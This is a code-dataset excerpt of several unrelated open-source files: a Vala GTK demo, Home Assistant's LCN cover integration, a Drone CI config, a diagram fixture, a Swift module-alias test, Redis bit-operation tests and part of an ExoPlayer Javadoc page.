Pixbuf branchLeft = new Pixbuf.from_file("../branch-left.png");
Pixbuf branchRight = new Pixbuf.from_file("../branch-right.png");
LineMarksTable table = new LineMarksTable();
table.add_line_mark_at_line_offset(buffer, 1, 8, branchLeft);
table.add_line_mark_at_line_offset(buffer, 2, 8, branchLeft);
table.add_line_mark_at_line_offset(buffer, 2, 24, branchRight);
table.show_in_source_view(view);
ScrolledWindow scrolledWindow = new ScrolledWindow(null, null);
scrolledWindow.add(view);
add(scrolledWindow);
}
public static int main(string[] args) {
Gtk.init(ref args);
MyApp app = new MyApp();
app.destroy.connect(Gtk.main_quit);
app.show_all();
Gtk.main();
return 0;
}
}
| Vala | 3 | swils/verifast | src/linemarks/hello-vala.vala | [
"MIT"
] |
"""Support for LCN covers."""
from __future__ import annotations
from typing import Any
import pypck
from homeassistant.components.cover import DOMAIN as DOMAIN_COVER, CoverEntity
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_ADDRESS, CONF_DOMAIN, CONF_ENTITIES
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity_platform import AddEntitiesCallback
from homeassistant.helpers.typing import ConfigType
from . import LcnEntity
from .const import CONF_DOMAIN_DATA, CONF_MOTOR, CONF_REVERSE_TIME
from .helpers import DeviceConnectionType, InputType, get_device_connection
PARALLEL_UPDATES = 0
def create_lcn_cover_entity(
hass: HomeAssistant, entity_config: ConfigType, config_entry: ConfigEntry
) -> LcnEntity:
"""Set up an entity for this domain."""
device_connection = get_device_connection(
hass, entity_config[CONF_ADDRESS], config_entry
)
if entity_config[CONF_DOMAIN_DATA][CONF_MOTOR] in "OUTPUTS":
return LcnOutputsCover(entity_config, config_entry.entry_id, device_connection)
# in RELAYS
return LcnRelayCover(entity_config, config_entry.entry_id, device_connection)
async def async_setup_entry(
hass: HomeAssistant,
config_entry: ConfigEntry,
async_add_entities: AddEntitiesCallback,
) -> None:
"""Set up LCN cover entities from a config entry."""
entities = []
for entity_config in config_entry.data[CONF_ENTITIES]:
if entity_config[CONF_DOMAIN] == DOMAIN_COVER:
entities.append(create_lcn_cover_entity(hass, entity_config, config_entry))
async_add_entities(entities)
class LcnOutputsCover(LcnEntity, CoverEntity):
"""Representation of a LCN cover connected to output ports."""
def __init__(
self, config: ConfigType, entry_id: str, device_connection: DeviceConnectionType
) -> None:
"""Initialize the LCN cover."""
super().__init__(config, entry_id, device_connection)
self.output_ids = [
pypck.lcn_defs.OutputPort["OUTPUTUP"].value,
pypck.lcn_defs.OutputPort["OUTPUTDOWN"].value,
]
if CONF_REVERSE_TIME in config[CONF_DOMAIN_DATA]:
self.reverse_time = pypck.lcn_defs.MotorReverseTime[
config[CONF_DOMAIN_DATA][CONF_REVERSE_TIME]
]
else:
self.reverse_time = None
self._is_closed = False
self._is_closing = False
self._is_opening = False
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass."""
await super().async_added_to_hass()
if not self.device_connection.is_group:
await self.device_connection.activate_status_request_handler(
pypck.lcn_defs.OutputPort["OUTPUTUP"]
)
await self.device_connection.activate_status_request_handler(
pypck.lcn_defs.OutputPort["OUTPUTDOWN"]
)
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass."""
await super().async_will_remove_from_hass()
if not self.device_connection.is_group:
await self.device_connection.cancel_status_request_handler(
pypck.lcn_defs.OutputPort["OUTPUTUP"]
)
await self.device_connection.cancel_status_request_handler(
pypck.lcn_defs.OutputPort["OUTPUTDOWN"]
)
@property
def is_closed(self) -> bool:
"""Return if the cover is closed."""
return self._is_closed
@property
def is_opening(self) -> bool:
"""Return if the cover is opening or not."""
return self._is_opening
@property
def is_closing(self) -> bool:
"""Return if the cover is closing or not."""
return self._is_closing
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return True
async def async_close_cover(self, **kwargs: Any) -> None:
"""Close the cover."""
state = pypck.lcn_defs.MotorStateModifier.DOWN
if not await self.device_connection.control_motors_outputs(
state, self.reverse_time
):
return
self._is_opening = False
self._is_closing = True
self.async_write_ha_state()
async def async_open_cover(self, **kwargs: Any) -> None:
"""Open the cover."""
state = pypck.lcn_defs.MotorStateModifier.UP
if not await self.device_connection.control_motors_outputs(
state, self.reverse_time
):
return
self._is_closed = False
self._is_opening = True
self._is_closing = False
self.async_write_ha_state()
async def async_stop_cover(self, **kwargs: Any) -> None:
"""Stop the cover."""
state = pypck.lcn_defs.MotorStateModifier.STOP
if not await self.device_connection.control_motors_outputs(state):
return
self._is_closing = False
self._is_opening = False
self.async_write_ha_state()
def input_received(self, input_obj: InputType) -> None:
"""Set cover states when LCN input object (command) is received."""
if (
not isinstance(input_obj, pypck.inputs.ModStatusOutput)
or input_obj.get_output_id() not in self.output_ids
):
return
if input_obj.get_percent() > 0: # motor is on
if input_obj.get_output_id() == self.output_ids[0]:
self._is_opening = True
self._is_closing = False
else: # self.output_ids[1]
self._is_opening = False
self._is_closing = True
self._is_closed = self._is_closing
else: # motor is off
# cover is assumed to be closed if we were in closing state before
self._is_closed = self._is_closing
self._is_closing = False
self._is_opening = False
self.async_write_ha_state()
class LcnRelayCover(LcnEntity, CoverEntity):
"""Representation of a LCN cover connected to relays."""
def __init__(
self, config: ConfigType, entry_id: str, device_connection: DeviceConnectionType
) -> None:
"""Initialize the LCN cover."""
super().__init__(config, entry_id, device_connection)
self.motor = pypck.lcn_defs.MotorPort[config[CONF_DOMAIN_DATA][CONF_MOTOR]]
self.motor_port_onoff = self.motor.value * 2
self.motor_port_updown = self.motor_port_onoff + 1
self._is_closed = False
self._is_closing = False
self._is_opening = False
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass."""
await super().async_added_to_hass()
if not self.device_connection.is_group:
await self.device_connection.activate_status_request_handler(self.motor)
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass."""
await super().async_will_remove_from_hass()
if not self.device_connection.is_group:
await self.device_connection.cancel_status_request_handler(self.motor)
@property
def is_closed(self) -> bool:
"""Return if the cover is closed."""
return self._is_closed
@property
def is_opening(self) -> bool:
"""Return if the cover is opening or not."""
return self._is_opening
@property
def is_closing(self) -> bool:
"""Return if the cover is closing or not."""
return self._is_closing
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return True
async def async_close_cover(self, **kwargs: Any) -> None:
"""Close the cover."""
states = [pypck.lcn_defs.MotorStateModifier.NOCHANGE] * 4
states[self.motor.value] = pypck.lcn_defs.MotorStateModifier.DOWN
if not await self.device_connection.control_motors_relays(states):
return
self._is_opening = False
self._is_closing = True
self.async_write_ha_state()
async def async_open_cover(self, **kwargs: Any) -> None:
"""Open the cover."""
states = [pypck.lcn_defs.MotorStateModifier.NOCHANGE] * 4
states[self.motor.value] = pypck.lcn_defs.MotorStateModifier.UP
if not await self.device_connection.control_motors_relays(states):
return
self._is_closed = False
self._is_opening = True
self._is_closing = False
self.async_write_ha_state()
async def async_stop_cover(self, **kwargs: Any) -> None:
"""Stop the cover."""
states = [pypck.lcn_defs.MotorStateModifier.NOCHANGE] * 4
states[self.motor.value] = pypck.lcn_defs.MotorStateModifier.STOP
if not await self.device_connection.control_motors_relays(states):
return
self._is_closing = False
self._is_opening = False
self.async_write_ha_state()
def input_received(self, input_obj: InputType) -> None:
"""Set cover states when LCN input object (command) is received."""
if not isinstance(input_obj, pypck.inputs.ModStatusRelays):
return
states = input_obj.states # list of boolean values (relay on/off)
if states[self.motor_port_onoff]: # motor is on
self._is_opening = not states[self.motor_port_updown] # set direction
self._is_closing = states[self.motor_port_updown] # set direction
else: # motor is off
self._is_opening = False
self._is_closing = False
self._is_closed = states[self.motor_port_updown]
self.async_write_ha_state()
| Python | 5 | MrDelik/core | homeassistant/components/lcn/cover.py | [
"Apache-2.0"
] |
kind: pipeline
name: application
steps:
- name: build-app
image: plugins/docker
settings:
repo: platyplus/authentication
tags: latest
username:
from_secret: DH_USER
password:
from_secret: DH_PASSWORD
| YAML | 4 | gh-oss-contributor/graphql-engine-1 | community/boilerplates/auth-servers/passportjs-jwt-roles/.drone.yml | [
"Apache-2.0",
"MIT"
] |
diagram "rgb_attribute" {
group vpc [fill="rgb(255,0,0,0.1)"] {
aws.alb load_balancer;
}
}
| Redcode | 2 | ralphtq/cloudgram | tests/fixtures/rgb_attribute.cw | [
"Apache-2.0"
] |
/// Test a serialized interface contains the module real names when -module-alias flag is passed.
///
/// 'Lib' imports module 'XLogging', and 'XLogging' is aliased 'AppleLogging'.
// RUN: %empty-directory(%t)
// RUN: %{python} %utils/split_file.py -o %t %s
/// 1. AppleLogging
/// Create AppleLogging.swiftmodule by aliasing XLogging via -module-alias XLogging=AppleLogging
// RUN: %target-swift-frontend -module-name AppleLogging -module-alias XLogging=AppleLogging %t/FileLogging.swift -emit-module -emit-module-path %t/AppleLogging.swiftmodule -enable-library-evolution
/// Check AppleLogging.swiftmodule is created
// RUN: test -f %t/AppleLogging.swiftmodule
// RUN: not test -f %t/XLogging.swiftmodule
/// Check AppleLogging.swiftmodule correctly contains AppleLogging as module name in the binary
// RUN: llvm-bcanalyzer --dump %t/AppleLogging.swiftmodule | %FileCheck %s -check-prefix=BCANALYZER-FOUND
// BCANALYZER-FOUND: MODULE_NAME{{.*}}AppleLogging
// RUN: llvm-bcanalyzer --dump %t/AppleLogging.swiftmodule | not grep XLogging
/// 2. Lib
/// Create an interface for Lib that imports XLogging with -module-alias XLogging=AppleLogging
// RUN: %target-swift-frontend -module-name Lib %t/FileLib.swift -module-alias XLogging=AppleLogging -I %t -emit-module -emit-module-interface-path %t/Lib.swiftinterface -swift-version 5 -enable-library-evolution -I %t -Rmodule-loading 2> %t/result-Lib.output
/// Check Lib.swiftinterface is created
// RUN: test -f %t/Lib.swiftinterface
// RUN: test -f %t/AppleLogging.swiftmodule
// RUN: not test -f %t/XLogging.swiftmodule
/// Check AppleLogging.swiftmodule is loaded
// RUN: %FileCheck %s -input-file %t/result-Lib.output -check-prefix CHECK-LOAD
// CHECK-LOAD: remark: loaded module at {{.*}}AppleLogging.swiftmodule
// RUN: not %FileCheck %s -input-file %t/result-Lib.output -check-prefix CHECK-NOT-LOAD1
// CHECK-NOT-LOAD1: remark: loaded module at {{.*}}XLogging.swiftmodule
/// Check imported modules contain AppleLogging, not XLogging
// RUN: %FileCheck %s -input-file %t/Lib.swiftinterface -check-prefix CHECK-IMPORT
// CHECK-IMPORT: -module-alias XLogging=AppleLogging
// CHECK-IMPORT: import AppleLogging
// RUN: not %FileCheck %s -input-file %t/Lib.swiftinterface -check-prefix CHECK-NOT-IMPORT
// CHECK-NOT-IMPORT: import XLogging
// BEGIN FileLogging.swift
public struct Logger {
public init() {}
}
public func setup() -> XLogging.Logger? {
return Logger()
}
// BEGIN FileLib.swift
import XLogging
public func start() {
_ = XLogging.setup()
}
| Swift | 4 | xjc90s/swift | test/Frontend/module-alias-serialize-swiftinterface.swift | [
"Apache-2.0"
] |
# Compare Redis commadns against Tcl implementations of the same commands.
proc count_bits s {
binary scan $s b* bits
string length [regsub -all {0} $bits {}]
}
proc simulate_bit_op {op args} {
set maxlen 0
set j 0
set count [llength $args]
foreach a $args {
binary scan $a b* bits
set b($j) $bits
if {[string length $bits] > $maxlen} {
set maxlen [string length $bits]
}
incr j
}
for {set j 0} {$j < $count} {incr j} {
if {[string length $b($j)] < $maxlen} {
append b($j) [string repeat 0 [expr $maxlen-[string length $b($j)]]]
}
}
set out {}
for {set x 0} {$x < $maxlen} {incr x} {
set bit [string range $b(0) $x $x]
if {$op eq {not}} {set bit [expr {!$bit}]}
for {set j 1} {$j < $count} {incr j} {
set bit2 [string range $b($j) $x $x]
switch $op {
and {set bit [expr {$bit & $bit2}]}
or {set bit [expr {$bit | $bit2}]}
xor {set bit [expr {$bit ^ $bit2}]}
}
}
append out $bit
}
binary format b* $out
}
start_server {tags {"bitops"}} {
r del no-key str foo
test {BITCOUNT returns 0 against non existing key} {
r bitcount no-key
} 0
catch {unset num}
foreach vec [list "" "\xaa" "\x00\x00\xff" "foobar" "123"] {
incr num
test "BITCOUNT against test vector #$num" {
r set str $vec
assert {[r bitcount str] == [count_bits $vec]}
}
}
test {BITCOUNT fuzzing without start/end} {
for {set j 0} {$j < 100} {incr j} {
set str [randstring 0 3000]
r set str $str
assert {[r bitcount str] == [count_bits $str]}
}
}
test {BITCOUNT fuzzing with start/end} {
for {set j 0} {$j < 100} {incr j} {
set str [randstring 0 3000]
r set str $str
set l [string length $str]
set start [randomInt $l]
set end [randomInt $l]
if {$start > $end} {
lassign [list $end $start] start end
}
assert {[r bitcount str $start $end] == [count_bits [string range $str $start $end]]}
}
}
test {BITCOUNT with start, end} {
r set s "foobar"
assert_equal [r bitcount s 0 -1] [count_bits "foobar"]
assert_equal [r bitcount s 1 -2] [count_bits "ooba"]
assert_equal [r bitcount s -2 1] [count_bits ""]
assert_equal [r bitcount s 0 1000] [count_bits "foobar"]
}
test {BITCOUNT syntax error #1} {
catch {r bitcount s 0} e
set e
} {ERR*syntax*}
test {BITCOUNT regression test for github issue #582} {
r del str
r setbit foo 0 1
if {[catch {r bitcount foo 0 4294967296} e]} {
assert_match {*ERR*out of range*} $e
set _ 1
} else {
set e
}
} {1}
test {BITCOUNT misaligned prefix} {
r del str
r set str ab
r bitcount str 1 -1
} {3}
test {BITCOUNT misaligned prefix + full words + remainder} {
r del str
r set str __PPxxxxxxxxxxxxxxxxRR__
r bitcount str 2 -3
} {74}
test {BITPOS bit=0 with empty key returns 0} {
r del str
r bitpos str 0
} {0}
test {BITPOS bit=1 with empty key returns -1} {
r del str
r bitpos str 1
} {-1}
test {BITPOS bit=0 with string less than 1 word works} {
r set str "\xff\xf0\x00"
r bitpos str 0
} {12}
test {BITPOS bit=1 with string less than 1 word works} {
r set str "\x00\x0f\x00"
r bitpos str 1
} {12}
test {BITPOS bit=0 starting at unaligned address} {
r set str "\xff\xf0\x00"
r bitpos str 0 1
} {12}
test {BITPOS bit=1 starting at unaligned address} {
r set str "\x00\x0f\xff"
r bitpos str 1 1
} {12}
test {BITPOS bit=0 unaligned+full word+reminder} {
r del str
r set str "\xff\xff\xff" ; # Prefix
# Followed by two (or four in 32 bit systems) full words
r append str "\xff\xff\xff\xff\xff\xff\xff\xff"
r append str "\xff\xff\xff\xff\xff\xff\xff\xff"
r append str "\xff\xff\xff\xff\xff\xff\xff\xff"
# First zero bit.
r append str "\x0f"
assert {[r bitpos str 0] == 216}
assert {[r bitpos str 0 1] == 216}
assert {[r bitpos str 0 2] == 216}
assert {[r bitpos str 0 3] == 216}
assert {[r bitpos str 0 4] == 216}
assert {[r bitpos str 0 5] == 216}
assert {[r bitpos str 0 6] == 216}
assert {[r bitpos str 0 7] == 216}
assert {[r bitpos str 0 8] == 216}
}
test {BITPOS bit=1 unaligned+full word+reminder} {
r del str
r set str "\x00\x00\x00" ; # Prefix
# Followed by two (or four in 32 bit systems) full words
r append str "\x00\x00\x00\x00\x00\x00\x00\x00"
r append str "\x00\x00\x00\x00\x00\x00\x00\x00"
r append str "\x00\x00\x00\x00\x00\x00\x00\x00"
# First zero bit.
r append str "\xf0"
assert {[r bitpos str 1] == 216}
assert {[r bitpos str 1 1] == 216}
assert {[r bitpos str 1 2] == 216}
assert {[r bitpos str 1 3] == 216}
assert {[r bitpos str 1 4] == 216}
assert {[r bitpos str 1 5] == 216}
assert {[r bitpos str 1 6] == 216}
assert {[r bitpos str 1 7] == 216}
assert {[r bitpos str 1 8] == 216}
}
test {BITPOS bit=1 returns -1 if string is all 0 bits} {
r set str ""
for {set j 0} {$j < 20} {incr j} {
assert {[r bitpos str 1] == -1}
r append str "\x00"
}
}
test {BITPOS bit=0 works with intervals} {
r set str "\x00\xff\x00"
assert {[r bitpos str 0 0 -1] == 0}
assert {[r bitpos str 0 1 -1] == 16}
assert {[r bitpos str 0 2 -1] == 16}
assert {[r bitpos str 0 2 200] == 16}
assert {[r bitpos str 0 1 1] == -1}
}
test {BITPOS bit=1 works with intervals} {
r set str "\x00\xff\x00"
assert {[r bitpos str 1 0 -1] == 8}
assert {[r bitpos str 1 1 -1] == 8}
assert {[r bitpos str 1 2 -1] == -1}
assert {[r bitpos str 1 2 200] == -1}
assert {[r bitpos str 1 1 1] == 8}
}
test {BITPOS bit=0 changes behavior if end is given} {
r set str "\xff\xff\xff"
assert {[r bitpos str 0] == 24}
assert {[r bitpos str 0 0] == 24}
assert {[r bitpos str 0 0 -1] == -1}
}
test {BITPOS bit=1 fuzzy testing using SETBIT} {
r del str
set max 524288; # 64k
set first_one_pos -1
for {set j 0} {$j < 1000} {incr j} {
assert {[r bitpos str 1] == $first_one_pos}
set pos [randomInt $max]
r setbit str $pos 1
if {$first_one_pos == -1 || $first_one_pos > $pos} {
# Update the position of the first 1 bit in the array
# if the bit we set is on the left of the previous one.
set first_one_pos $pos
}
}
}
test {BITPOS bit=0 fuzzy testing using SETBIT} {
set max 524288; # 64k
set first_zero_pos $max
r set str [string repeat "\xff" [expr $max/8]]
for {set j 0} {$j < 1000} {incr j} {
assert {[r bitpos str 0] == $first_zero_pos}
set pos [randomInt $max]
r setbit str $pos 0
if {$first_zero_pos > $pos} {
# Update the position of the first 0 bit in the array
# if the bit we clear is on the left of the previous one.
set first_zero_pos $pos
}
}
}
}
| Tcl | 5 | hzhangse/codis | extern/deprecated/redis-test/tcl/tests/unit/bitops.tcl | [
"MIT"
] |
<!DOCTYPE HTML>
<!-- NewPage -->
<html lang="en">
<head><!-- start favicons snippet, use https://realfavicongenerator.net/ --><link rel="apple-touch-icon" sizes="180x180" href="/assets/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/assets/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/assets/favicon-16x16.png"><link rel="manifest" href="/assets/site.webmanifest"><link rel="mask-icon" href="/assets/safari-pinned-tab.svg" color="#fc4d50"><link rel="shortcut icon" href="/assets/favicon.ico"><meta name="msapplication-TileColor" content="#ffc40d"><meta name="msapplication-config" content="/assets/browserconfig.xml"><meta name="theme-color" content="#ffffff"><!-- end favicons snippet -->
<title>BaseTrackSelection (ExoPlayer library)</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<link rel="stylesheet" type="text/css" href="../../../../../jquery/jquery-ui.css" title="Style">
<script type="text/javascript" src="../../../../../script.js"></script>
<script type="text/javascript" src="../../../../../jquery/jszip/dist/jszip.min.js"></script>
<script type="text/javascript" src="../../../../../jquery/jszip-utils/dist/jszip-utils.min.js"></script>
<!--[if IE]>
<script type="text/javascript" src="../../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script>
<![endif]-->
<script type="text/javascript" src="../../../../../jquery/jquery-3.5.1.js"></script>
<script type="text/javascript" src="../../../../../jquery/jquery-ui.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="BaseTrackSelection (ExoPlayer library)";
}
}
catch(err) {
}
//-->
var data = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10,"i9":10,"i10":10,"i11":10,"i12":10,"i13":10,"i14":10,"i15":10,"i16":10};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
var pathtoroot = "../../../../../";
var useModuleDirectories = false;
loadScripts(document, 'script');</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<header role="banner">
<nav role="navigation">
<div class="fixedNav">
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a id="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a id="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../index.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses.html">All Classes</a></li>
</ul>
<ul class="navListSearch">
<li><label for="search">SEARCH:</label>
<input type="text" id="search" value="search" disabled="disabled">
<input type="reset" id="reset" value="reset" disabled="disabled">
</li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a id="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
</div>
<div class="navPadding"> </div>
<script type="text/javascript"><!--
$('.navPadding').css('padding-top', $('.fixedNav').css("height"));
//-->
</script>
</nav>
</header>
<!-- ======== START OF CLASS DATA ======== -->
<main role="main">
<div class="header">
<div class="subTitle"><span class="packageLabelInType">Package</span> <a href="package-summary.html">com.google.android.exoplayer2.trackselection</a></div>
<h2 title="Class BaseTrackSelection" class="title">Class BaseTrackSelection</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li><a href="https://developer.android.com/reference/java/lang/Object.html" title="class or interface in java.lang" class="externalLink" target="_top">java.lang.Object</a></li>
<li>
<ul class="inheritance">
<li>com.google.android.exoplayer2.trackselection.BaseTrackSelection</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code>, <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
</dl>
<dl>
<dt>Direct Known Subclasses:</dt>
<dd><code><a href="AdaptiveTrackSelection.html" title="class in com.google.android.exoplayer2.trackselection">AdaptiveTrackSelection</a></code>, <code><a href="FixedTrackSelection.html" title="class in com.google.android.exoplayer2.trackselection">FixedTrackSelection</a></code>, <code><a href="RandomTrackSelection.html" title="class in com.google.android.exoplayer2.trackselection">RandomTrackSelection</a></code></dd>
</dl>
<hr>
<pre>public abstract class <span class="typeNameLabel">BaseTrackSelection</span>
extends <a href="https://developer.android.com/reference/java/lang/Object.html" title="class or interface in java.lang" class="externalLink" target="_top">Object</a>
implements <a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></pre>
<div class="block">An abstract base class suitable for most <a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection"><code>ExoTrackSelection</code></a> implementations.</div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== NESTED CLASS SUMMARY ======== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="nested.class.summary">
<!-- -->
</a>
<h3>Nested Class Summary</h3>
<ul class="blockList">
<li class="blockList"><a id="nested.classes.inherited.from.class.com.google.android.exoplayer2.trackselection.ExoTrackSelection">
<!-- -->
</a>
<h3>Nested classes/interfaces inherited from interface com.google.android.exoplayer2.trackselection.<a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></h3>
<code><a href="ExoTrackSelection.Definition.html" title="class in com.google.android.exoplayer2.trackselection">ExoTrackSelection.Definition</a>, <a href="ExoTrackSelection.Factory.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection.Factory</a></code></li>
</ul>
</li>
</ul>
</section>
<!-- =========== FIELD SUMMARY =========== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="field.summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="memberSummary">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colSecond" scope="col">Field</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a></code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#group">group</a></span></code></th>
<td class="colLast">
<div class="block">The selected <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#length">length</a></span></code></th>
<td class="colLast">
<div class="block">The number of selected tracks within the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected int[]</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#tracks">tracks</a></span></code></th>
<td class="colLast">
<div class="block">The indices of the selected tracks in <a href="#group"><code>group</code></a>, in order of decreasing bandwidth.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a id="fields.inherited.from.class.com.google.android.exoplayer2.trackselection.TrackSelection">
<!-- -->
</a>
<h3>Fields inherited from interface com.google.android.exoplayer2.trackselection.<a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></h3>
<code><a href="TrackSelection.html#TYPE_CUSTOM_BASE">TYPE_CUSTOM_BASE</a>, <a href="TrackSelection.html#TYPE_UNSET">TYPE_UNSET</a></code></li>
</ul>
</li>
</ul>
</section>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="constructor.summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="memberSummary">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Constructor</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tr class="altColor">
<th class="colConstructorName" scope="row"><code><span class="memberNameLink"><a href="#%3Cinit%3E(com.google.android.exoplayer2.source.TrackGroup,int...)">BaseTrackSelection</a></span>​(<a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> group,
int... tracks)</code></th>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<th class="colConstructorName" scope="row"><code><span class="memberNameLink"><a href="#%3Cinit%3E(com.google.android.exoplayer2.source.TrackGroup,int%5B%5D,int)">BaseTrackSelection</a></span>​(<a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> group,
int[] tracks,
int type)</code></th>
<td class="colLast"> </td>
</tr>
</table>
</li>
</ul>
</section>
<!-- ========== METHOD SUMMARY =========== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colSecond" scope="col">Method</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>boolean</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#blacklist(int,long)">blacklist</a></span>​(int index,
long exclusionDurationMs)</code></th>
<td class="colLast">
<div class="block">Attempts to exclude the track at the specified index in the selection, making it ineligible for
selection by calls to <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long, long, long, List,
MediaChunkIterator[])</code></a> for the specified period of time.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>void</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#disable()">disable</a></span>()</code></th>
<td class="colLast">
<div class="block">Disables this track selection.</div>
</td>
</tr>
<tr id="i2" class="altColor">
<td class="colFirst"><code>void</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#enable()">enable</a></span>()</code></th>
<td class="colLast">
<div class="block">Enables the track selection.</div>
</td>
</tr>
<tr id="i3" class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#equals(java.lang.Object)">equals</a></span>​(<a href="https://developer.android.com/reference/java/lang/Object.html" title="class or interface in java.lang" class="externalLink" target="_top">Object</a> obj)</code></th>
<td class="colLast"> </td>
</tr>
<tr id="i4" class="altColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#evaluateQueueSize(long,java.util.List)">evaluateQueueSize</a></span>​(long playbackPositionUs,
